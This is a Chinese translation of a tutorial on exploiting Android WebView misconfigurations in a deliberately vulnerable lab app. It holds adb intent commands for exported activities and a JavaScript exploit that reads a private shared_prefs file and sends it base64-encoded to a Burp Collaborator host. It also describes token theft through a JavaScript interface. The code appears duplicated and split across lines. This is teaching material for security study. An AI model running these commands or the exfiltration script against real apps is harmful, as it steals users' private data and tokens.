原文标题:Exploiting Android WebView Vulnerabilities
原文地址:https://medium.com/mobis3c/exploiting-android-webview-vulnerabilities-e2bcff780892
WebView类是Android的View类的扩展,允许您将网页显示为活动布局的一部分。它不包含完整开发的Web浏览器的任何功能,如导航控件或地址栏。默认情况下,WebView只是显示一个网页。
Twitter使用WebView加载网站。
为了进行测试,我们将使用易受攻击的WebView应用程序来学习如何手动利用Android应用程序中的WebView漏洞。登录凭据是用户名:vuln和密码:webview(以防需要使用)。
易受攻击的WebView应用程序
在介绍漏洞之前,我们需要确保WebView是我们目标应用程序的一部分。
由于WebViews是应用程序中的活动的一部分,我们需要对apk进行反编译,查看AndroidManifest.xml文件和应用程序的Activity,以检查是否存在易受攻击的WebView。
让我们首先将我们的应用程序加载到Jadx反编译器中,以分析清单和活动。
反编译工具
现在,我们将查看哪些组件是导出的。我们可以得出结论,一个组件可以通过两种方式来导出:
activities exported
一些组件如SupportWebView、RegistrationWebView被明确导出,而MainActivity是通过指定意图过滤器来导出的,这表明该应用程序正在使用WebViews。
confirming with
我们可以看到loadWebView函数,它通过从intent中获取字符串来加载URL。
webview code
因此,第三方应用程序可以通过向该组件发送带有URL字符串的意图来利用这种行为,而目标应用程序将接受并执行该意图,因为该组件已被导出。也就是说,第三方应用程序可以访问目标应用程序中的WebView组件。
我们将使用ADB发送一个意图到该组件,这个intent将在应用程序的上下文中打开攻击者提供的恶意网页。
使用adb shell在设备上启动唯一的shell,使用am(活动管理器)start命令,-n参数指定组件名称,--es参数后跟URL作为额外的字符串。
因此,我们的adb命令将如下所示:
发送intent到webviews
webview加载了攻击者的url
开发人员可以配置的另一个设置是允许在文件方案URL的上下文中运行的JavaScript访问来自任何源的内容,包括其他文件方案URL。
该设置会移除所有同源策略的限制,允许WebView从文件中向Web发出请求,这通常是不可能的。也就是说,攻击者可以使用JavaScript读取本地文件,并将其发送到攻击者控制的域名上。
如果WebView被导出,这种行为可能非常危险,因为它可以允许攻击者读取可能对应用程序来说是私有的任意文件。
setAllowUniversalAccessFromFileURLs
现在让我们看看如何利用上述应用程序中使用的这个设置。
现在,让我们为漏洞中讨论的JavaScript漏洞创建利用程序。
我已经使用了我的Burp Collaborator链接来获取内容,您可以使用您方便的任何链接。
任意文件读取漏洞
请将上述代码添加到sauafu.html文件中,并使用adb将该文件移动到sdcard。
将exploit推入设备
利用程序加载本地文件的内容并将其返回给攻击者的URL。
现在运行带有利用文件的intent。
intent启动
空注册页面
现在我们应该已经在Burp Collaborator或您使用的其他工具中收到了以Base64编码的文件内容。
利用poc
我们可以在右侧窗口框中看到以Base64编码接收到的文件内容的解码结果。
开发人员可以通过添加此配置来启用WebView中的JavaScript。
添加此配置将在网页的JavaScript和应用程序的客户端Java代码之间创建一个接口。也就是说,网页的JavaScript可以访问和注入应用程序的Java代码。
如果这个活动被导出,那么这可能是危险的,允许攻击者进行许多攻击,包括XSS攻击和从应用程序中窃取令牌。
##利用
针对这种情况的利用,我们不能使用上述相同的WebView,因为它没有使用接口。因此,我们将使用另一个使用了接口的WebView。
support webview
我们可以使用SupportWebView,您可以看到JavaScript已启用,并且使用了名为"Android"的接口。
接口声明
该脚本通过从名为Android的接口中的getUserToken()方法生成令牌并将其写入。
从Apache服务器托管此脚本,并将端口80连接到ngrok以获取HTTPS链接(不能使用HTTP链接)。
intent
token窃取
我们可以通过替换文档来显示XSS警报。用您喜欢的XSS有效负载在上面的javascript代码中编写一行代码。
XSS Alert.
我们已经涵盖了与WebViews相关的4个漏洞:
注意:大部分内容都来自Farah Hawa在YouTube上的视频。所有的功劳归她所有,如果您喜欢这个内容,请观看并点赞她的视频。
adb shell am start
-
n componentname
-
-
es string
"domain.com"
adb shell am start
-
n componentname
-
-
es string
"domain.com"
adb shell am start
-
n com.tmh.vulnwebview
/
.RegistrationWebView
-
-
es reg_url
"https://3kal.medium.com"
adb shell am start
-
n com.tmh.vulnwebview
/
.RegistrationWebView
-
-
es reg_url
"https://3kal.medium.com"
<script>
var url
=
'file:///data/data/com.tmh.vulnwebview/shared_prefs/MainActivity.xml'
;
/
/
local
file
function load(url) {
var xhr
=
new XMLHttpRequest();
xhr.onreadystatechange
=
function() {
if
(xhr.readyState
=
=
=
4
) {
fetch(
'https://8ktm71h4wjnqo72wgqbzvnr7jypodd.burpcollaborator.net/?exfiltrated='
+
btoa(xhr.responseText));
/
/
send b64 encoded
file
to attacker
}
}
xhr.
open
(
'GET'
, url, true);
xhr.send('');
}
load(url)
<
/
script>
<script>
var url
=
'file:///data/data/com.tmh.vulnwebview/shared_prefs/MainActivity.xml'
;
/
/
local
file
function load(url) {
var xhr
=
new XMLHttpRequest();
xhr.onreadystatechange
=
function() {
if
(xhr.readyState
=
=
=
4
) {
fetch(
'https://8ktm71h4wjnqo72wgqbzvnr7jypodd.burpcollaborator.net/?exfiltrated='
+
btoa(xhr.responseText));
/
/
send b64 encoded
file
to attacker
}
}
xhr.
open
(
'GET'
, url, true);
xhr.send('');
}
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2023-9-7 13:44
被Max_hhg编辑
,原因: